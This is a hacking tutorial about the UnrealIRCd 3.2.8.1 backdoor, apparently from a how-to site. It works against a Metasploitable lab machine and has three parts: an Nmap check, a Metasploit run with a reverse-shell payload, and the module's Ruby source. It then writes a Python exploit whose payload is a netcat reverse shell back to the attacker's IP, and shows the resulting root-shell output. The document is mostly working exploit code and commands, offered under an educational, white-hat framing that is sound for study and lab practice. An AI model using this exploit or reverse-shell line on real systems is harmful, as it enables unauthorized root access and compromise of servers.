How To: Hack UnrealIRCd Using Python Socket Programming

Hack UnrealIRCd Using Python Socket Programming

UnrealIRCd is an open-source IRC server that has been around since 1999 and is perhaps the most widely used one today. Version 3.2.8.1 was vulnerable to remote code execution due to a backdoor in the software. Today, we will be exploiting the vulnerability with Metasploit, examining the underlying code to understand it, and creating our own version of the exploit in Python.

Between November 2009 and June 2010, UnrealIRCd 3.2.8.1 contained a backdoor trojan that was available in the download archive. The vulnerability allowed an attacker to execute arbitrary code by sending the string "AB," which triggered the backdoor, followed by the payload. The command would run as whatever user the IRC daemon was running as, so root-level access could potentially be achieved.

We will use Metasploitable 2 as the target and Kali Linux as the attacking machine.

Step 1: Use Nmap to Verify Vulnerability

The first thing we need to do is determine if UnrealIRCd is present on the target. Nmap contains a handy script to check if it's there and if it is the vulnerable backdoored version. As the vulnerability is around ten years old, there won't be many of these running anywhere out in the wild.

Nmap's scripts are located in the /usr/share/nmap/scripts/ directory. We can list the contents of this directory and search for irc using a pipe and the grep command:

~# ls /usr/share/nmap/scripts/ | grep irc

irc-botnet-channels.nse
irc-brute.nse
irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse

The last one above is the one we want. Now simply run a quick Nmap scan on the target using the --script parameter to specify the script. We can also specify port 6667 since this is the port UnrealIRCd usually runs on.

~# nmap --script irc-unrealircd-backdoor.nse 10.10.0.50 -p 6667

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-23 08:47 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00068s latency).

PORT     STATE SERVICE
6667/tcp open  irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
MAC Address: 00:1D:09:55:B1:3B (Dell)

Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds

We can see this port is open and it appears to be the backdoored version. Excellent.

Step 2: Exploit Easily with Metasploit

We can demonstrate just how easy this vulnerability is to exploit using Metasploit. Fire it up by typing msfconsole in the terminal. Once it loads, we can locate the exploit with the search command:

msf5 > search unrealirc

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

And load the module with the use command:

msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor

Now we can take a look at the options and see what we need to set:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Set the rhosts to the IP address of the target:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Then we can view the available payloads for this exploit using the show payloads command:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   1   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   6   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

We will use a simple Unix reverse command shell. Use set payload to load the desired payload:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

Since we are using a reverse shell, we now need to set the listening host and port. Use the IP address of your local machine and a port of your choosing:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 1234

lport => 1234

Finally, type run to launch the exploit:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.10.0.1:1234
[*] 10.10.0.50:6667 - Connected to 10.10.0.50:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.0.50:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo G3vd0zQXK0P3fLA7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "G3vd0zQXK0P3fLA7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:1234 -> 10.10.0.50:52857) at 2019-05-23 08:52:22 -0500

We see the exploit finish and a command shell is opened. We can now run system commands on the target, such as id, to view the current user, and uname -a, to view OS information:

id

uid=0(root) gid=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Now that we saw how easy that was to exploit, let's take a look at the code to see exactly what's happening behind the scenes.

Step 3: Examine Ruby Code

Metasploit modules are written in Ruby and offer a convenient way to interface with the framework to make things easy for the user. Things like setting the payload and other options are handled by the framework, making it easy for exploit developers to create a custom module.

The UnrealIRCd module we just ran is located in the following directory:

/usr/share/metasploit-framework/modules/exploits/unix/irc/

In a new terminal window, we can cat it out to view the code:

~# cat /usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2075' ],
          [ 'OSVDB', '65445' ],
          [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 12 2010'))

    register_options(
      [
        Opt::RPORT(6667)
      ])
  end

  def exploit
    connect

    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Let's break this down and take a look at the first half of the code:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2075' ],
          [ 'OSVDB', '65445' ],
          [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 12 2010'))

    register_options(
      [
        Opt::RPORT(6667)
      ])
  end

The above section is the part that integrates with the Metasploit Framework, which initializes the module, gives a description of the exploit, and deals with all the options.

The second half of the code is where the meat and potatoes are:

def exploit
    connect

    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

That code connects to the remote host and sends the backdoor command, which is the string "AB" followed by the payload and a newline character:

sock.put("AB;" + payload.encoded + "\n")

It then makes sure a session is created and disconnects. As far as exploits go, this is relatively straightforward.

Since Python is arguably more approachable than Ruby, especially for beginners, let's write a quick script in Python to exploit this vulnerability.

Step 4: Port Exploit to Python

To get started on our exploit, create a Python file with nano:

~# nano irc.py

Next, we need to tell the script how to execute by specifying the path of our Python binary. Put this line at the top of the file:

#!/usr/bin/python

Then we can import the socket package, which will allow us to connect to a remote host:

import socket

We can set some variables to keep things organized, where rhost will be the IP address of the target, rport will be 6667, the port UnrealIRCd runs on, and payload will be the command we want to execute on the target.

rhost = '10.10.0.50'
rport = 6667
payload = 'sh -c nc 10.10.0.1 4321 -e /bin/bash'

The part sh -c tells the shell to run a command. In this case, Netcat, which will connect back to our local machine and spawn a BASH shell. Make sure to substitute your own IP address.

Now that our variables are set, we need the code to connect to the remote host:

s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send('AB; ' + payload + '\n')
s.close()

The first line of this creates a new socket connection. The next line connects to the remote host and port. The following line receives a response from the target of up to 1024 bytes. Once the connection is established, the next line sends the command to trigger the backdoor, including the payload we specified earlier. Finally, the connection is closed.

That should be all the code we need. The final script should look like this:

#!/usr/bin/python

import socket

rhost = ‘10.10.0.50’
rport = 6667
payload = ‘sh -c nc 10.10.0.1 4321 -e /bin/bash’

s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send(‘AB; ‘ + payload + ‘\n’)
s.close()

Keep in mind, this is just a simple proof-of-concept. We could also add status messages and error handling if we wanted to, but for now, this will work.

Step 5: Run Exploit

We are finally ready to run our Python exploit. In a new tab or window, start a listener on whatever port you specified earlier in the script:

~# nc -lvp 4321

listening on [any] 4321 ...

And execute the script with the python command:

python irc.py

If everything worked properly, we should see a connection opened up on our listener, and we can run commands like id and uname -a to verify we have root:

10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 41418

id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Please note: for some reason, I couldn't get this to execute properly every time, so if it's not working just try again and it should take. I found it works best after a fresh reboot of the target system.

Wrapping Up

Today, we explored the classic UnrealIRCd backdoor vulnerability and just how easy it is to exploit with Metasploit. We then took a look at the Ruby code of the module and used it to port our own version of the exploit in Python. The ability to analyze code and customize it to fit specific needs, even across programming languages, is a valuable skill any white-hat hacker should strive to possess.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by Dom Alberts/Pixabay

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest